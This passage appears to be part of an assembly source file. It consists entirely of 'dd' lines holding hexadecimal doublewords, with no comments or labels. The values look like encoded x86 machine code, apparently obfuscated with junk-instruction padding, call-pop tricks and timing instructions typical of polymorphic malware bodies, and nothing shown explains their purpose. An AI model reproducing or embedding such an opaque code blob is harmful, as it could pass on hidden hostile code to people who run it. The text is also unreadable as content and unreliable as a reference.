66126AEBh, 1B4FCF81h, 2385858Bh, 6A064Dh dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 0ECD80FC3h, 68B0F60h, 8B000000h, 4D276585h, 86896106h dd 0C4h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 0ABC35141h, 53CA8A47h, 5BDBBF0Fh, 599958Bh, 6A064Dh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 0BD8977C3h, 64D00C5h, 0E904C283h, 5, 0F8C2D319h, 0EE934h dd 0A2570000h, 4F30E161h, 3FB7A9F4h, 0E3230C8Bh, 89205089h dd 4D2459BDh, 0F0858D06h, 890650CBh, 0B886h, 55BD8B00h dd 66064D2Ch, 6AD88Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Bh, 34C35747h, 30148F41h, 665D27D8h, 0B5FFFB8Bh dd 650B795h, 2C41BD8Bh, 0FFF8064Dh, 4D243195h, 0D1B53106h dd 96064D26h, 3FBF6657h, 57505B01h, 11E9h, 60DDEB00h, 134A875Ch dd 0AAAA7B5Fh, 133EA3C3h, 965B29F3h, 0EE8F88Bh, 3E000000h dd 0D75FDF79h, 76664D96h, 0A279CB13h, 0B5FF5F23h, 650B795h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0A7C35343h dd 0BB9FC65Bh, 44594658h, 0DE9h, 0A309E600h, 52F717BCh dd 3C52BB60h, 7E92045h, 24000000h, 3FFF8542h, 95FFD803h dd 64D2CC1h, 89CDB560h, 4D0CAD85h, 0BD836106h, 64D32A5h dd 44840F00h, 60000000h, 268DBD8Bh, 0F9BE064Dh, 617F7158h dd 5319D8Bh, 0F96064Dh, 48Eh, 1DBF6600h, 0F98B50CBh, 50006A96h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 3147B87Ch, 0FFA13782h, 50B795B5h, 19D8B06h, 89064D07h dd 4D0B7DB5h, 0C595FF06h, 6A064D17h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0B37C357h dd 7AD181B7h, 6667E84Ah, 0FF138FBFh, 50B795B5h, 0ED9D8B06h dd 0FF064D2Dh, 4D29B995h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 5E1D0372h dd 29A5BD8Bh, 83F8064Dh, 4D1505BDh, 840F0206h, 69h, 8166E6B3h dd 8B960ACFh, 4D15A985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1404h, 0C3514100h, 0DE93Eh, 4DA30000h, 8261E591h dd 0D8830087h, 0C6D8EA00h, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 3D2121C3h dd 21B80650h, 23D23AF6h, 4D2C89BDh, 1185C706h, 64D21h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1A042444h, 42000000h, 0F3DDC352h, 6C4490B3h, 5694BBA1h dd 0E2E9413Eh, 8BFFFFF2h, 56006AC1h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 0B2E4A0C4h dd 0F88D40D9h, 35858DE9h, 6A064D07h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0E0FAC352h dd 338984A2h, 0E5BD8B70h, 89064D2Ah, 4D040DB5h, 0AE85006h dd 0D2000000h, 0AD14EA64h, 58619B11h, 0BE80Fh, 27330000h dd 0C5FC20CEh, 0E00F04D2h, 0F250BF61h, 5B5F3781h, 6A240489h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 383DC351h, 6E8h, 1A918800h, 0FD6AA2Fh, 6A5BFFB7h dd 0DABF0F00h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1A0424h, 53430000h, 5D6A7C3h, 8ACC01DAh, 2FC3BF66h dd 10E9h, 9C769900h, 0A394FEE4h, 0AC0BDE99h, 0AC536221h dd 0F858DA9h, 0F0651C6h, 481h, 0DEBB6600h, 5C0835Ah, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0C6C35646h, 89506C4Ah dd 91B72404h, 6660006Ah, 0E983CDBBh, 0Ch, 0A28C0A0Eh, 53A13DB8h dd 34821C95h, 0FF006A61h, 4D114995h, 6800F06h, 9000000h dd 4D32BD8Dh, 0DE8B6606h, 9A138D8Dh, 0BB660650h, 0D1FFA6F6h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 36C35343h dd 8A513318h, 8336E454h, 4D1281BDh, 850F0106h, 7Dh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0FCC35545h, 0F04D2C5h dd 26A61E0h, 2DD8531h, 8B90064Dh, 7E950FBh, 34000000h dd 29CEEE68h, 6A9010C8h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 5941C351h, 3195FFFBh dd 6A064D24h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 1A62C355h, 0DA7E952h, 0E80000h dd 5D000000h, 0C619ED81h, 6A0651h, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 0FD5C96C3h, 8D8D8960h dd 0BF064D0Fh, 3034544Ch, 0DFB70F61h, 57858DF8h, 5606508Ah dd 0FE957h, 15520000h, 0A9934614h, 0D30AEFD4h, 995D45h dd 505B5FE5h, 6A240489h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 456AC353h, 0D1503E8Eh dd 0E931F31Bh, 0Fh, 3706E99Ah, 0ED81BBC5h, 8B8A5E14h, 6472FB69h dd 35FFh, 9D230000h, 64D05B5h, 10E8h, 0C9FE1300h, 0BCE1355Dh dd 422C9ADh, 0FECA225Fh, 5BF98B22h, 258964h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 1ACDC357h, 81A906F3h, 0A6DF0AD3h, 68C0Fh dd 0BD890000h, 64D31A1h, 181585FFh, 6A064Dh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 190424h, 55450000h, 8D3F29C3h dd 0F51A320Dh, 0EA6FE381h, 0FF6A00C1h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 8AC35747h, 701E336Fh, 0DD8A770Dh dd 2B05B5FFh, 6A064Dh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 0C8D201C3h, 11E9EB93h, 0C6000000h dd 84722EEAh, 0F4CBE059h, 0FFA1B185h, 4984E23Bh, 41195FFh dd 0DE9064Dh, 66000001h, 1E78CF81h, 12E800B0h, 0F4000000h dd 91B1D5D7h, 297AF661h, 0C5BEBCFCh, 3171FC4Ch, 70E65B84h dd 5BFB8B52h, 9D8B71E4h, 64D25C9h, 613C69B7h, 0D6830Fh dd 0EE90000h, 0CA000000h, 0A2A5E073h, 31C5B557h, 0F97E21B0h dd 0C8B60FC8h, 68B0Fh, 0B5890000h, 64D17D5h, 6BAh, 6880F00h dd 8B000000h, 4D2A35BDh, 89C18B06h, 4D0B0D9Dh, 79950906h dd 0C1064D11h, 9D0304E8h, 64D053Dh, 9E2F766h, 4D205185h dd 89C82B06h, 4D2D559Dh, 8AD18B06h, 72E9DEh, 858B0000h dd 1, 0D2C56FBBh, 7C0832Eh, 83BEEB80h, 852900C0h, 64D1585h dd 830FD03Bh, 0Eh, 280D9D89h, 45E9064Dh, 56000000h, 8D8B5BF9h dd 0FFFFFFFFh, 31D99D8Bh, 0E183064Dh, 2D840F01h, 89000000h dd 4D2E6DBDh, 0FFA58306h, 0FEFFFFFFh, 958954B3h, 1, 8D8B6060h dd 64D0345h, 611CD180h, 1FFD9501h, 0E961064Dh, 0 dd 42CAB58Dh, 6A0651h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1A0424h, 57470000h, 9864F8C3h, 0CBEA6513h, 11618589h dd 6A064Dh, 1195FFF9h, 52064D05h, 0F547BB66h, 0F7EB95Bh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h dd 52420000h, 0F91DD4C3h, 0FCE183EDh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 0E2C35747h, 391D9400h, 0FC70C99Bh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0EDC35040h dd 9F26BD7Dh, 0FAEE3C0Dh, 22DB8166h, 0B877h, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 0F7CD76C3h, 911ABB68h, 8D89A214h, 64D1065h, 0BAh, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 264592BDh, 0DB80FE97h, 0C233ADB1h, 0D003E8D1h, 7504E983h dd 55006AF4h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h dd 0C3554500h, 7137D2D6h, 18D897Ah, 6A064D05h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 27C4C355h, 7780D209h, 880D4674h, 0E9000000h, 8, 13955837h dd 92463510h, 599958Bh, 6A064Dh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 0D2AE1DC3h, 0B5030ABFh dd 60BA95F9h, 3D9D89F8h, 61064D05h, 51D8D8Bh, 6A064Dh dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 0D227C7C3h, 12E9h, 0A0043D00h, 0A571E824h, 934F25F9h dd 0DE561F00h, 50DA96EAh, 188BC28Bh, 188BC103h, 0E8D1C18Bh dd 188BC203h, 0EFC78058h, 83DFBF0Fh, 4D1C45BDh, 840F0006h dd 5Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h dd 0D8C35242h, 0E99D8B14h, 89064D30h, 4D1F0D8Dh, 0B806h dd 0F98B0000h, 6E9h, 1F2A5700h, 8DC57BD0h, 4D4DE58Dh, 69BE6006h dd 8930C978h, 4D0595BDh, 0EBBB6106h, 0FF6AFF9Dh, 9F4B7E1h dd 4D26098Dh, 0E9BD8306h, 64D02h, 40F840Fh, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 8946D8C3h, 4D0AA5B5h, 0E9BD8306h, 1064D02h, 3FA840Fh dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 0C48EEBC3h, 9185098Ch, 60064D0Ah, 105D952Bh dd 8531064Dh, 64D040Dh, 0E9BD8361h, 3064D02h, 384860Fh dd 0B5090000h, 64D32A1h, 4870Fh, 0BF660000h, 8B603840h dd 4D2EE19Dh, 34EF8106h, 6622BE50h, 0FE8D98Ch, 0F4000000h dd 30E4EFAh, 7C217E99h, 71F94985h, 0CB818364h, 78B874DEh dd 4E1805Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Dh, 6C35040h, 13CA892Dh, 9A9349DFh, 0FC90A28h, 0FC84h dd 0B52B6000h, 64D0A3Dh, 0E75B589h, 8B61064Dh, 4D187985h dd 39853306h, 6A064D06h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 95B8C350h, 66E30BF3h dd 70ABC781h, 0F525090h, 385h, 0DE8B6600h, 0D88A310Fh dd 9050585Ah, 958529h, 6A064Dh, 1F25B168h, 0B8C0F30h, 0E9000000h dd 6, 0DF514EC7h, 348170E7h, 264E24h, 50006A30h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 6F92AFDBh, 10CA744Bh, 23D58589h, 95FF064Dh, 64D0EB1h dd 13E8h, 54216600h, 0ACF1CF55h, 4114AEA7h, 1BA31EFh, 0E35DD7ACh dd 0A1E88160h, 0F1D8C25h, 81h, 895B6100h, 50B79585h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 0A8E9DF4Eh, 89000001h, 4D0C75B5h, 8D858B06h, 0B70650B7h dd 1800C766h, 0F000000h, 587h, 5D2BBB00h, 0B58B2FE3h, 650B791h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0DCC35545h dd 0C35560ACh, 0E4FB4B34h, 6D95312Fh, 8B064D29h, 4D32E585h dd 719D8B06h, 89064D1Bh, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1B04h, 0C3514100h, 0A3F2BEB3h, 4BD1E09Fh dd 93DB8166h, 1426BB29h, 858B67D2h, 64D1879h, 13D5BD31h dd 4689064Dh, 0FFBF0F04h, 2850F50h, 53000000h, 2434895Fh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 9CC35242h dd 0F9D56F3Ch, 27F6E381h, 0E960376Bh, 14h, 6A0D3511h, 0FD84D6D4h dd 4D6D13C0h, 4DA7212Bh, 0EA94D76Dh, 20098D09h, 0FF61064Dh dd 50B78DB5h, 0DE906h, 5D9E0000h, 1BC5D724h, 0D9893A47h dd 6857AB6Dh, 79315A0Eh, 52506050h, 585A310Fh, 34815F61h dd 2E59F124h, 52006A79h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1604h, 0C3524200h, 8D29F67Eh, 50B79585h, 90FA8B06h dd 11E95656h, 79000000h, 0C0999D9Dh, 8BF7161Fh, 91FE2BC4h dd 423CC1B0h, 56505F5Bh, 12E9h, 854B6E00h, 0BA3DB36Eh dd 7606F605h, 0E29622F3h, 5FBA55D1h, 0B195FF90h, 6A064D0Eh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h dd 46000000h, 8B07C356h, 4D1B05BDh, 299D8906h, 61064D15h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 3EC35545h dd 0E84B40A7h, 0Bh, 38D5AC1Fh, 17B8ACD4h, 0B7F9FEC3h, 0BD8B5BC0h dd 64D273Dh, 2E985C7h, 3064Dh, 0B5890000h, 64D0D99h, 0B795BD83h dd 0F000650h, 2584h, 0AE900h, 0A03B0000h, 0BF7080F5h, 793A498h dd 2CE9h, 8B666000h, 6890FCAh, 81000000h, 399502E8h, 30506144h dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h, 0E9835803h dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h dd 2114430h, 11642858h, 11043001h, 7504E983h, 8B00EBE7h dd 299D2BC0h, 83064D1Bh, 4D02E9BDh, 850F0306h, 424h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0DC35646h, 0BD337B11h dd 64D154Dh, 11E951h, 51040000h, 4CC29FB5h, 69D8C273h dd 0F5C9469Ah, 5B16B46Fh, 0B795BD83h, 0F000650h, 3DB84h dd 0BD295100h, 64D2E65h, 95B5FF5Fh, 660650B7h, 0BFD656BBh dd 39EFCB69h, 2D9995FFh, 6A064Dh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 0D3CC78C3h, 0D6AF5FA7h dd 8B6671BDh, 89B58BD8h, 6A0650B7h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0AA1CC355h dd 0BF0F3225h, 106C7FAh, 6A000100h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 68A2C356h dd 0FB8B50BCh, 6A243489h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 18042444h, 43000000h, 0C496C353h, 0B33BD8D4h dd 95B5FF50h, 6A0650B7h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 5B7DC350h, 6CF18FE4h dd 8D95FFF8h, 6A064D30h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 8B50C352h dd 50B789B5h, 85858B06h, 0F064D23h, 8689DEBFh, 0C4h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 9BC35646h, 8B7D6D43h dd 4D059995h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 0FEB068F6h, 0BD332FC8h, 64D2D61h dd 2CB5BD89h, 0C283064Dh, 56006A04h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 0D9B0198Fh dd 890FDC76h, 2FBF2050h, 0F47404Fh, 858DFEB7h, 650CBF0h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 98C35343h dd 4A82E201h, 82E8BF80h, 0FFABF0Fh, 8689DFBFh, 0B8h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 5DC35343h, 0DAB92B25h dd 142C90Dh, 4D29E5B5h, 6A006A06h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 89ECC350h dd 4D259995h, 95B5FF06h, 6A0650B7h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0C92C355h dd 9CC0538h, 4D2D1DB5h, 3195FF06h, 6A064D24h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h dd 1C0DC352h, 0FDBF6650h, 243489E9h, 0B795B5FFh, 8B660650h dd 0C195FFFBh, 89064D2Ch, 4D30C5BDh, 0A5BD8306h, 64D32h dd 71840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 0ACF63BC3h, 8D1ABFE2h, 0B99D03BAh dd 96064D2Ah, 0E850FA8Bh, 7, 0DB615CFAh, 608B43F9h, 1FF9FFBAh dd 965B6118h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Dh, 21C35141h, 0EB168CDh, 56EF50BCh, 5E92Eh, 20FF0000h dd 0FF114E87h, 50B795B5h, 0CCB8106h, 0FF17B1B9h, 4D17C595h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h dd 0C3514100h, 0F7AE2835h, 3A247A13h, 4D8D8948h, 0BB064D04h dd 6A979BA5h, 0B795B5FFh, 9D0B0650h, 64D2265h, 0DF8B6650h dd 0B995FF5Bh, 6A064D29h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 0D15C357h, 99F9614Ah dd 9BD38050h, 0F753BF5Bh, 0BD832107h, 64D1505h, 17840F02h dd 0F8000000h, 15A9858Bh, 9509064Dh, 64D22B1h, 0C6F88B66h dd 0BF660000h, 85C7B1AFh, 64D2111h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 6BC35040h dd 0E781AF35h, 7D9695DBh, 0FFF395E9h, 0AE8FFh, 0D6B80000h dd 0F3874B80h, 0C54E937Dh, 318D8D89h, 665F064Dh, 0C18BDF8Bh dd 35858DFCh, 0F064D07h, 5090DEB7h, 2EB7505Bh, 53006A90h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 0BD9D8B18h, 8B064D1Fh, 4D2AD1BDh, 8B006A06h, 4D1015BDh dd 6A006A06h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 92A8C350h, 34D1B342h, 0FE2F2E91h dd 0D574858Dh, 9D0B0651h, 64D0D55h, 6A05C083h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h dd 460CC356h, 0F8B604DBh, 663EC648h, 0C51CE381h, 1A91BD8Bh dd 6650064Dh, 89364CBBh, 6A2404h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 6A8812C3h, 6D8D8900h dd 6A064D0Bh, 6CE78100h, 0FF07F205h, 4D114995h, 0FB8B6606h dd 9A138D8Dh, 0BD8B0650h, 64D22D5h, 6AD1FFh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 663BC3C3h dd 44748D84h, 53D9509h, 890F064Dh, 2, 0BD83DF8Bh, 64D1281h dd 8B850F01h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 4A40C357h, 56DBA8C6h dd 0E9A4CF42h, 0Fh, 0CB4AEF94h, 4A191996h, 1B47A2F5h, 6A7D3FD9h dd 19BD8B02h, 66064D1Bh, 90FC52BBh, 8B665250h, 0B3310FFBh dd 50585ACCh, 37C9BF60h, 0BF665FFCh, 906134DAh, 0FFDBB70Fh dd 4D243195h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 0AA4322EEh, 0FF4A722h, 9DE9DBBFh dd 0E800000Eh, 0 dd 7EED815Dh, 810651D5h, 0A6D28EC3h, 51006A19h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1704h, 0C3514100h, 9FDB4FFDh dd 57858DFCh, 5306508Ah, 5840Fh, 0F3BF0000h, 5F60C537h dd 0E9525090h, 10h, 0AB559846h, 9390B89Fh, 62425B73h, 0A2CADEB6h dd 585A310Fh, 90DE8A50h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ah, 71C35747h, 0D2EC7567h, 0D3816645h, 54E30E71h dd 37C474BBh, 0F19D8B2Ah, 64064D0Eh, 35FFh, 0CE80000h dd 4C000000h, 53A7D766h, 6EBB0C03h, 0FDB6DC9h, 645BFFB7h dd 2589h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 335ACCC3h, 0E759251Bh, 0FFFCBC5Ah dd 4D181585h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1C04h, 0C3554500h, 848A2104h, 0CC0212B1h, 0C781667Dh dd 6E94F20h, 0A5000000h, 934F25F9h, 6AFF6A00h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 4FEEC353h, 0BD8B1CC2h, 64D1FA9h, 2DB5FFh, 0D98A064Dh dd 5E9h, 3044D400h, 95FFC328h, 64D0411h, 126E9h, 8DBD3300h dd 66064D15h, 0B0FE8Bh, 22799D8Bh, 9D31064Dh, 64D1ABDh dd 800F70E6h, 1, 3371E4F9h, 4D0FF9BDh, 0F613C06h, 0F683h dd 9DBD0300h, 0F064D0Bh, 0BD89C8B6h, 64D179Dh, 0BAF98B66h dd 6, 68D0Fh, 95890000h, 64D0B61h, 0FB8BC18Bh, 0E804E8C1h dd 13h, 38289F5Bh, 8ADFFEB1h, 0B23FE872h, 68583492h, 0B4C0292h dd 4D2ED59Dh, 0F7665B06h, 0ACD380E2h, 0BF0FC82Bh, 0DD9D89DFh dd 8B064D06h, 258509D1h, 0E9064D2Fh, 8Fh, 318DBD89h, 858B064Dh dd 4, 8307C083h, 0FE8B00C0h, 830FD03Bh, 33h, 0D998D89h dd 10E9064Dh, 5C000000h, 1CF02560h, 73E162EFh, 0C5384C41h dd 0E98E1B06h, 53h, 9E8h, 45023500h, 300D4BD6h, 0BF662BFBh dd 8B5B82DEh, 0FFFFFF8Dh, 8E9FFh, 74A0000h, 9ABAF2Ah, 0E18388BEh dd 24840F01h, 0F5000000h, 5E9h, 2471B900h, 0A5832CABh dd 0FFFFFFFFh, 9589F8FEh, 4, 32598501h, 0E9064Dh, 8D000000h dd 515248B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1704h, 0C3554500h, 818D6BFAh, 6A69EB80h, 0DB58900h dd 0FF064D1Bh, 4D051195h, 79BD8B06h, 0B9064D15h, 1078h dd 10E85DB7h, 0BB000000h, 0FC1321DFh, 0BC59B84Eh, 0F76AAEE5h dd 8BD6BEAFh, 4D2B01BDh, 0E1835F06h, 11E8FCh, 81270000h dd 9791EFA1h, 0CF306183h, 13F429A2h, 5FFEEC41h, 56006AFCh dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 8998DE54h, 4D203D85h, 0C98D8906h, 0B8064D14h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 2C35545h dd 934B8C69h, 4526539Ch, 0BD958972h, 0BA064D2Ch, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 7C35747h dd 7E97Bh, 0EECB0000h, 5806F0CFh, 0C233ADFAh, 0D003E8D1h dd 7504E983h, 918589F4h, 8B064D0Eh, 0DFE8BD9h, 88h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 6DC35747h, 0B5E6FCEBh dd 0BA4E2E8Eh, 0DAB70F28h, 599958Bh, 8D8B064Dh, 64D051Dh dd 1621BD8Bh, 6650064Dh, 505FF98Bh, 188BC28Bh, 188BC103h dd 0E8D1C18Bh, 188BC203h, 50006A58h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 0D8158E6Ah dd 3D99501h, 0BD0B064Dh, 64D1501h, 1C45BD83h, 0F00064Dh dd 9984h, 0DE8B6600h, 0B8F98Bh, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0B3F4C355h dd 14E9FAC3h, 77000000h, 2F8D01FDh, 12AA1367h, 6D08766Dh dd 0E5EC96A4h, 8D26BFDEh, 4D4DE58Dh, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 6AE1FF47h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 0FFFDC350h, 658C2367h, 0DE9h, 8E64B600h dd 5F335E2Fh, 0E1E94FDBh, 0BD839A28h, 64D02E9h, 0D8840F00h dd 6A000004h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 44E7C350h, 2CF4BB66h, 2E9BD83h dd 0F01064Dh, 4C584h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1B04h, 0C3574700h, 0DBD0BFF8h, 0CCA76ABEh dd 1449BD89h, 0BD83064Dh, 64D02E9h, 59860F03h, 60000004h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 71C35040h dd 5386AF4Fh, 0E9D98C66h, 0Eh, 340D87B5h, 0F4E831ADh, 3B2CDE40h dd 0E1808699h, 51006A04h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1604h, 0C3514100h, 66436903h, 0A503ABFh dd 3C840FC9h, 0F000001h, 858BDABFh, 64D1879h, 1B71BD8Bh dd 8533064Dh, 64D0639h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 16h, 0DAC35343h, 0D88BD338h, 81B589h, 5090064Dh dd 54BABB52h, 310F4D43h, 0CE952h, 0ED960000h, 623DAB63h dd 0E2DD4D17h, 5A5FE886h, 0E9525058h, 10h, 45CEF2EBh, 0B323DC6Ah dd 0AFCBA9C0h, 0DED20702h, 6A905Fh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Dh, 11C35040h, 6A1E0D21h, 577B0A07h dd 5800F54h, 0BF000000h, 87E769Ah, 3D8D8B60h, 0E9064D0Dh dd 0Bh, 0D7450D1Eh, 9649183Ch, 611CAEBFh, 0DF996568h, 7A76BB14h dd 34815B72h, 0C09A9A24h, 10E914h, 39820000h, 0BA0A64F2h dd 34DDD72Ch, 573D7E7Dh, 95FF35D6h, 64D0EB1h, 0B7958589h dd 6A0650h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 0CC1849C3h, 8B664273h, 24FE9FEh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 0C87C8EC3h, 7EEB816Dh, 8B7EC097h, 50B78D85h, 0EE906h dd 3C1D0000h, 1324D99Eh, 0DDC97E71h, 46E8E306h, 1800C7h dd 890F0000h, 6, 0C119D89h, 0B58B064Dh, 650B791h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0F2C35242h, 0BE742F04h dd 0F272FCDh, 1885h, 12870F00h, 0E9000000h, 0Dh, 0CC0E816Ah dd 6B2A6B89h, 48A4AF5Dh, 38E0FF2h, 66000000h, 858BDE8Bh dd 64D32E5h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 35C35040h, 5E98A84h, 3A000000h, 2C6653DCh, 9D8B0689h dd 64D14DDh, 0AF99D89h, 858B064Dh, 64D1879h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 22C35242h, 9D8B3DFBh dd 64D2A2Dh, 6A044689h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 8641C357h, 3399EE8Dh dd 3EABCE80h, 0BF0FF88Ah, 9E896FEh, 8E000000h, 815C9ADFh dd 69950E08h, 0CE9h, 17F40D00h, 4BAE749Fh, 0D6B88545h dd 0BF505F80h, 4240856Dh, 51006A96h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 0E10FEB16h dd 5E8F856h, 5252263Ch, 2ADDBD23h, 5F5B064Dh, 0B78DB5FFh dd 68FC0650h, 1BEB5391h, 3481DF8Bh, 0F4506E24h, 52006A1Bh dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 8B9F54E3h, 4D03C9BDh, 10E906h, 93010000h, 8CA09C12h dd 468E9DF0h, 6E5E50E5h, 858D8B76h, 650B795h, 1F119D8Bh dd 0D381064Dh, 4A616864h, 